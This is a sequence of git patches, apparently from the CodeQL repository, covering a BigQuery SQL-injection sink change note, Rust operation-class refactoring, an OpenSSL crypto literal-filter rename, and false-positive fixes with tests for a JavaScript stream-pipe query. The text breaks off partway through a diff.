+go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp +# go.opentelemetry.io/otel v1.35.0 +## explicit +go.opentelemetry.io/otel +# go.opentelemetry.io/otel/metric v1.35.0 +## explicit +go.opentelemetry.io/otel/metric +# go.opentelemetry.io/otel/trace v1.35.0 +## explicit +go.opentelemetry.io/otel/trace +# golang.org/x/crypto v0.37.0 +## explicit +golang.org/x/crypto +# golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 +## explicit +golang.org/x/exp +# golang.org/x/mod v0.23.0 +## explicit +golang.org/x/mod +# golang.org/x/net v0.39.0 +## explicit +golang.org/x/net +# golang.org/x/oauth2 v0.29.0 +## explicit +golang.org/x/oauth2 +# golang.org/x/sync v0.14.0 +## explicit +golang.org/x/sync +# golang.org/x/sys v0.32.0 +## explicit +golang.org/x/sys +# golang.org/x/text v0.24.0 +## explicit +golang.org/x/text +# golang.org/x/time v0.11.0 +## explicit +golang.org/x/time +# golang.org/x/tools v0.30.0 +## explicit +golang.org/x/tools +# golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da +## explicit +golang.org/x/xerrors +# google.golang.org/api v0.231.0 +## explicit +google.golang.org/api +# google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb +## explicit +google.golang.org/genproto +# google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/api +# google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/rpc +# google.golang.org/grpc v1.72.0 +## explicit +google.golang.org/grpc +# google.golang.org/protobuf v1.36.6 +## explicit +google.golang.org/protobuf From 46a6b8ad0734d6deefab8d2fdf83dda21d8593f4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:21:51 +0100 Subject: [PATCH 333/535] Add change note --- .../2025-05-22-bigquery-client-query-sql-injection.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md diff --git a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md b/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md new file mode 100644 index 000000000000..49d040dc4096 --- /dev/null +++ b/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. From dc280c6fb7e42f59406d63c0e6b6b01423ae7e2d Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 22 May 2025 15:18:45 +0100 Subject: [PATCH 334/535] Rust: Add missing assignment class relations. --- .../rust/elements/ArithmeticOperation.qll | 17 +++++++---------- .../codeql/rust/elements/BitwiseOperation.qll | 3 ++- 2 files changed, 9 insertions(+), 11 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll index c91d65c976a9..81abffa1a385 100644 --- a/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll @@ -5,6 +5,7 @@ private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.PrefixExpr private import codeql.rust.elements.Operation +private import codeql.rust.elements.AssignmentOperation /** * An arithmetic operation, such as `+`, `*=`, or `-`. @@ -17,25 +18,21 @@ final class ArithmeticOperation = ArithmeticOperationImpl; * A binary arithmetic operation, such as `+` or `*`. */ final class BinaryArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl { - BinaryArithmeticOperation() { - this.getOperatorName() = ["+", "-", "*", "/", "%"] - } + BinaryArithmeticOperation() { this.getOperatorName() = ["+", "-", "*", "/", "%"] } } /** * An arithmetic assignment operation, such as `+=` or `*=`. */ -final class AssignArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl { - AssignArithmeticOperation() { - this.getOperatorName() = ["+=", "-=", "*=", "/=", "%="] - } +final class AssignArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl, + AssignmentOperation +{ + AssignArithmeticOperation() { this.getOperatorName() = ["+=", "-=", "*=", "/=", "%="] } } /** * A prefix arithmetic operation, such as `-`. */ final class PrefixArithmeticOperation extends PrefixExpr, ArithmeticOperationImpl { - PrefixArithmeticOperation() { - this.getOperatorName() = "-" - } + PrefixArithmeticOperation() { this.getOperatorName() = "-" } } diff --git a/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll index b906a2216ce3..3c1f63158b62 100644 --- a/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll @@ -4,6 +4,7 @@ private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.Operation +private import codeql.rust.elements.AssignmentOperation /** * A bitwise operation, such as `&`, `<<`, or `|=`. @@ -22,6 +23,6 @@ final class BinaryBitwiseOperation extends BinaryExpr, BitwiseOperationImpl { /** * A bitwise assignment operation, such as `|=` or `<<=`. */ -final class AssignBitwiseOperation extends BinaryExpr, BitwiseOperationImpl { +final class AssignBitwiseOperation extends BinaryExpr, BitwiseOperationImpl, AssignmentOperation { AssignBitwiseOperation() { this.getOperatorName() = ["&=", "|=", "^=", "<<=", ">>="] } } From 09170e598c4c55d779a50e6ea8829f42eaf56cea Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 10:31:58 -0400 Subject: [PATCH 335/535] Crypto: Making generic literal filter more explicit that it is for filtering all constants, not just for algorithms. --- cpp/ql/lib/experimental/quantum/Language.qll | 4 +- .../KnownAlgorithmConstants.qll | 9 +--- ....qll => GenericSourceCandidateLiteral.qll} | 41 ++++++++++--------- 3 files changed, 25 insertions(+), 29 deletions(-) rename cpp/ql/lib/experimental/quantum/OpenSSL/{AlgorithmCandidateLiteral.qll => GenericSourceCandidateLiteral.qll} (76%) diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index c9d3f735322d..bc1a2de10e7a 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -1,7 +1,7 @@ private import cpp as Language import semmle.code.cpp.dataflow.new.TaintTracking import codeql.quantum.experimental.Model -private import experimental.quantum.OpenSSL.AlgorithmCandidateLiteral +private import experimental.quantum.OpenSSL.GericSourceCandidateLiteral module CryptoInput implements InputSig { class DataFlowNode = DataFlow::Node; @@ -90,7 +90,7 @@ module GenericDataSourceFlowConfig implements DataFlow::ConfigSig { module GenericDataSourceFlow = TaintTracking::Global; private class ConstantDataSource extends Crypto::GenericConstantSourceInstance instanceof Literal { - ConstantDataSource() { this instanceof OpenSSLAlgorithmCandidateLiteral } + ConstantDataSource() { this instanceof OpenSSLGenericSourceCandidateLiteral } override DataFlow::Node getOutputNode() { result.asExpr() = this } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 59f03264a694..f49767bd2821 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,5 @@ import cpp -import experimental.quantum.OpenSSL.AlgorithmCandidateLiteral +import experimental.quantum.OpenSSL.GericSourceCandidateLiteral predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) @@ -103,7 +103,7 @@ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { * If this predicate does not hold, then `e` can be interpreted as being of `UNKNOWN` type. */ predicate resolveAlgorithmFromLiteral( - OpenSSLAlgorithmCandidateLiteral e, string normalized, string algType + OpenSSLGenericSourceCandidateLiteral e, string normalized, string algType ) { knownOpenSSLAlgorithmLiteral(_, e.getValue().toInt(), normalized, algType) or @@ -237,11 +237,6 @@ predicate defaultAliases(string target, string alias) { alias = "ssl3-sha1" and target = "sha1" } -predicate tbd(string normalized, string algType) { - knownOpenSSLAlgorithmLiteral(_, _, normalized, algType) and - algType = "HASH" -} - /** * Enumeration of all known crypto algorithms for openSSL * `name` is all lower case (caller's must ensure they pass in lower case) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll similarity index 76% rename from cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll rename to cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll index 3e2d1d0301bf..0f6730bed74e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmCandidateLiteral.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll @@ -3,27 +3,24 @@ private import semmle.code.cpp.models.Models private import semmle.code.cpp.models.interfaces.FormattingFunction /** - * Holds if a StringLiteral could be an algorithm literal. + * Holds if a StringLiteral could conceivably be used in some way for cryptography. * Note: this predicate should only consider restrictions with respect to strings only. - * General restrictions are in the OpenSSLAlgorithmCandidateLiteral class. + * General restrictions are in the OpenSSLGenericSourceCandidateLiteral class. */ -private predicate isOpenSSLStringLiteralAlgorithmCandidate(StringLiteral s) { +private predicate isOpenSSLStringLiteralGenericSourceCandidate(StringLiteral s) { // 'EC' is a constant that may be used where typical algorithms are specified, // but EC specifically means set up a default curve container, that will later be //specified explicitly (or if not a default) curve is used. s.getValue() != "EC" and // Ignore empty strings s.getValue() != "" and - // ignore strings that represent integers, it is possible this could be used for actual - // algorithms but assuming this is not the common case - // NOTE: if we were to revert this restriction, we should still consider filtering "0" - // to be consistent with filtering integer 0 - not exists(s.getValue().toInt()) and // Filter out strings with "%", to filter out format strings not s.getValue().matches("%\\%%") and - // Filter out strings in brackets or braces + // Filter out strings in brackets or braces (commonly seen strings not relevant for crypto) not s.getValue().matches(["[%]", "(%)"]) and // Filter out all strings of length 1, since these are not algorithm names + // NOTE/ASSUMPTION: If a user legitimately passes a string of length 1 to some configuration + // we will assume this is generally unknown. We may need to reassess this in the future. s.getValue().length() > 1 and // Ignore all strings that are in format string calls outputing to a stream (e.g., stdout) not exists(FormattingFunctionCall f | @@ -43,15 +40,14 @@ private predicate isOpenSSLStringLiteralAlgorithmCandidate(StringLiteral s) { /** * Holds if an IntLiteral could be an algorithm literal. * Note: this predicate should only consider restrictions with respect to integers only. - * General restrictions are in the OpenSSLAlgorithmCandidateLiteral class. + * General restrictions are in the OpenSSLGenericSourceCandidateLiteral class. */ -private predicate isOpenSSLIntLiteralAlgorithmCandidate(Literal l) { +private predicate isOpenSSLIntLiteralGenericSourceCandidate(Literal l) { exists(l.getValue().toInt()) and // Ignore char literals not l instanceof CharLiteral and not l instanceof StringLiteral and // Ignore integer values of 0, commonly referring to NULL only (no known algorithm 0) - // Also ignore integer values greater than 5000 l.getValue().toInt() != 0 and // ASSUMPTION, no negative numbers are allowed // RATIONALE: this is a performance improvement to avoid having to trace every number @@ -63,10 +59,9 @@ private predicate isOpenSSLIntLiteralAlgorithmCandidate(Literal l) { r.getExpr() = l and r.getEnclosingFunction().getType().getUnspecifiedType() instanceof DerivedType ) and - // A literal as an array index should never be an algorithm + // A literal as an array index should not be relevant for crypo not exists(ArrayExpr op | op.getArrayOffset() = l) and - // A literal used in a bitwise operation may be an algorithm, but not a candidate - // for the purposes of finding applied algorithms + // A literal used in a bitwise should not be relevant for crypto not exists(BinaryBitwiseOperation op | op.getAnOperand() = l) and not exists(AssignBitwiseOperation op | op.getAnOperand() = l) and //Filter out cases where an int is assigned or initialized into a pointer, e.g., char* x = NULL; @@ -81,7 +76,13 @@ private predicate isOpenSSLIntLiteralAlgorithmCandidate(Literal l) { // Filter out cases where the literal is used in any kind of arithmetic operation not exists(BinaryArithmeticOperation op | op.getAnOperand() = l) and not exists(UnaryArithmeticOperation op | op.getOperand() = l) and - not exists(AssignArithmeticOperation op | op.getAnOperand() = l) + not exists(AssignArithmeticOperation op | op.getAnOperand() = l) and + // If a literal has no parent ignore it, this is a workaround for the current inability + // to find a literal in an array declaration: int x[100]; + // NOTE/ASSUMPTION: this value might actually be relevant for finding hard coded sizes + // consider size as inferred through the allocation of a buffer. + // In these cases, we advise that the source is not generic and must be traced explicitly. + exists(l.getParent()) } /** @@ -96,11 +97,11 @@ private predicate isOpenSSLIntLiteralAlgorithmCandidate(Literal l) { * "AES" may be a legitimate algorithm literal, but the literal will not be used for an operation directly * since it is in a equality comparison, hence this case would also be filtered. */ -class OpenSSLAlgorithmCandidateLiteral extends Literal { - OpenSSLAlgorithmCandidateLiteral() { +class OpenSSLGenericSourceCandidateLiteral extends Literal { + OpenSSLGenericSourceCandidateLiteral() { ( - isOpenSSLIntLiteralAlgorithmCandidate(this) or - isOpenSSLStringLiteralAlgorithmCandidate(this) + isOpenSSLIntLiteralGenericSourceCandidate(this) or + isOpenSSLStringLiteralGenericSourceCandidate(this) ) and // ********* General filters beyond what is filtered for strings and ints ********* // An algorithm literal in a switch case will not be directly applied to an operation. From 570fdeb25474fd60a32c1da2d1850714eea181a0 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 10:39:27 -0400 Subject: [PATCH 336/535] Crypto: Code Cleanup (+1 squashed commits) Squashed commits: [417734cc3c] Crypto: Fixing typo (+1 squashed commits) Squashed commits: [1ac3d5c7d4] Crypto: Fixing typo caused by AI auto complete. --- cpp/ql/lib/experimental/quantum/Language.qll | 2 +- .../OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll | 2 +- .../quantum/OpenSSL/GenericSourceCandidateLiteral.qll | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index bc1a2de10e7a..ebc246291a38 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -1,7 +1,7 @@ private import cpp as Language import semmle.code.cpp.dataflow.new.TaintTracking import codeql.quantum.experimental.Model -private import experimental.quantum.OpenSSL.GericSourceCandidateLiteral +private import OpenSSL.GenericSourceCandidateLiteral module CryptoInput implements InputSig { class DataFlowNode = DataFlow::Node; diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index e1d14e689e0c..f7d186e4ea93 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,5 @@ import cpp -import experimental.quantum.OpenSSL.GericSourceCandidateLiteral +import experimental.quantum.OpenSSL.GenericSourceCandidateLiteral predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll index 0f6730bed74e..214093aae36d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll @@ -27,12 +27,12 @@ private predicate isOpenSSLStringLiteralGenericSourceCandidate(StringLiteral s) exists(f.getOutputArgument(true)) and s = f.(Call).getAnArgument() ) and // Ignore all format string calls where there is no known out param (resulting string) - // i.e., ignore printf, since it will just ouput a string and not produce a new string + // i.e., ignore printf, since it will just output a string and not produce a new string not exists(FormattingFunctionCall f | // Note: using two ways of determining if there is an out param, since I'm not sure // which way is canonical not exists(f.getOutputArgument(false)) and - not f.getTarget().(FormattingFunction).hasTaintFlow(_, _) and + not f.getTarget().hasTaintFlow(_, _) and f.(Call).getAnArgument() = s ) } From 5b1af0c0bd224b7cb7cbf72a6a6d40c64b20f839 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 13:32:25 +0200 Subject: [PATCH 337/535] Added detection of custom `gulp-plumber` sanitizer, thus one would not flag such instances. --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 9 +++++++++ .../Quality/UnhandledStreamPipe/test.expected | 2 -- .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 5935129b610c..eadb056a424d 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -188,6 +188,15 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and handler.getArgument(0).getStringValue() = "error" ) + or + hasPlumber(pipeCall) +} + +/** + * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. + */ +predicate hasPlumber(PipeCall pipeCall) { + streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } /** diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index a0c899f50f59..aac258e9c6c6 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -13,5 +13,3 @@ | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 49f100617c5d..db10aa35fa99 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -204,11 +204,11 @@ function test() { } { const plumber = require('gulp-plumber'); - getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); } { const plumber = require('gulp-plumber'); const p = plumber(); - getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } } From ac24fdd3480271a8880c7a39d52bc8dc2deaf158 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 13:37:04 +0200 Subject: [PATCH 338/535] Add predicate to detect non-stream-like usage in sources of pipe calls --- .../ql/src/Quality/UnhandledStreamPipe.ql | 18 ++++++++++++++++++ .../Quality/UnhandledStreamPipe/test.expected | 2 -- .../Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index eadb056a424d..d3894d128894 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -207,10 +207,28 @@ predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { pipeResultRef(pipeCall) = getNonNodeJsStreamType() } +/** + * Holds if the source stream of the given pipe call is used in a non-stream-like way. + */ +private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call, string name | + call.getReceiver().getALocalSource() = streamRef(pipeCall) and + name = call.getMethodName() and + not name = getStreamMethodName() + ) + or + exists(DataFlow::PropRef propRef, string propName | + propRef.getBase().getALocalSource() = streamRef(pipeCall) and + propName = propRef.getPropertyName() and + not propName = [getStreamPropertyName(), getStreamMethodName()] + ) +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonStreamSourceLikeUsage(pipeCall) and not hasNonNodeJsStreamSource(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index aac258e9c6c6..dbbc751e7b41 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -11,5 +11,3 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index db10aa35fa99..6dd8a4ca962c 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -187,12 +187,12 @@ function test() { { const notStream = getNotAStream(); const something = notStream.someNotStreamPropertyAccess; - const val = notStream.pipe(writable); // $SPURIOUS:Alert + const val = notStream.pipe(writable); } { const notStream = getNotAStream(); const something = notStream.someNotStreamPropertyAccess(); - const val = notStream.pipe(writable); // $SPURIOUS:Alert + const val = notStream.pipe(writable); } { const notStream = getNotAStream(); From e6ae8bbde4796a2a0aa25f62dfb0b86e51eae11a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 16:38:28 +0200 Subject: [PATCH 339/535] Added test cases where second parameter passed to `pipe` is a function and some popular library ones --- .../Quality/UnhandledStreamPipe/rxjsStreams.js | 8 ++++++++ .../query-tests/Quality/UnhandledStreamPipe/strapi.js | 5 +++++ .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 +++ .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++++ 4 files changed, 20 insertions(+) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 0e86442dd911..472e41dc0bb9 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -1,5 +1,7 @@ import * as rx from 'rxjs'; import * as ops from 'rxjs/operators'; +import { TestScheduler } from 'rxjs/testing'; + const { of, from } = rx; const { map, filter } = ops; @@ -7,4 +9,10 @@ const { map, filter } = ops; function f(){ of(1, 2, 3).pipe(map(x => x * 2)); someNonStream().pipe(map(x => x * 2)); + + let testScheduler = new TestScheduler(); + testScheduler.run(({x, y, z}) => { + const source = x('', {o: [a, b, c]}); + z(source.pipe(null)).toBe(expected,y,); // $SPURIOUS:Alert + }); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js new file mode 100644 index 000000000000..2848b10132a6 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js @@ -0,0 +1,5 @@ +import { async } from '@strapi/utils'; + +const f = async () => { + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); // $SPURIOUS:Alert +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b41..457e5e7244f0 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,5 @@ +| rxjsStreams.js:16:7:16:23 | source.pipe(null) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| strapi.js:4:35:4:84 | async.p ... p('y')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -11,3 +13,4 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:216:5:216:38 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 6dd8a4ca962c..37befaf59998 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -211,4 +211,8 @@ function test() { const p = plumber(); getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } + { + const notStream = getNotAStream(); + notStream.pipe(getStream(),()=>{}); // $SPURIOUS:Alert + } } From b10a9481f36ab830a2cf5ce2f19a9e101fd15e86 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 16:41:11 +0200 Subject: [PATCH 340/535] Fixed false positives from `strapi` and `rxjs/testing` as well as when one passes function as second arg to `pipe` --- javascript/ql/lib/ext/rxjs.model.yml | 1 + javascript/ql/lib/ext/strapi.model.yml | 6 ++++++ javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- .../query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js | 2 +- .../test/query-tests/Quality/UnhandledStreamPipe/strapi.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 --- .../ql/test/query-tests/Quality/UnhandledStreamPipe/test.js | 2 +- 7 files changed, 11 insertions(+), 7 deletions(-) create mode 100644 javascript/ql/lib/ext/strapi.model.yml diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml index 73c24fd875b9..0d1c26650a27 100644 --- a/javascript/ql/lib/ext/rxjs.model.yml +++ b/javascript/ql/lib/ext/rxjs.model.yml @@ -5,3 +5,4 @@ extensions: data: - ["NonNodeStream", "rxjs", "Fuzzy"] - ["NonNodeStream", "rxjs/operators", "Fuzzy"] + - ["NonNodeStream", "rxjs/testing", "Fuzzy"] diff --git a/javascript/ql/lib/ext/strapi.model.yml b/javascript/ql/lib/ext/strapi.model.yml new file mode 100644 index 000000000000..9dbe753b31bd --- /dev/null +++ b/javascript/ql/lib/ext/strapi.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "@strapi/utils", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d3894d128894..d7a9868fcac3 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -18,7 +18,7 @@ class PipeCall extends DataFlow::MethodCallNode { PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] and - not this.getArgument(0).asExpr() instanceof Function and + not this.getArgument([0, 1]).asExpr() instanceof Function and not this.getArgument(0).asExpr() instanceof ObjectExpr and not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 472e41dc0bb9..fc05533d7ed4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ 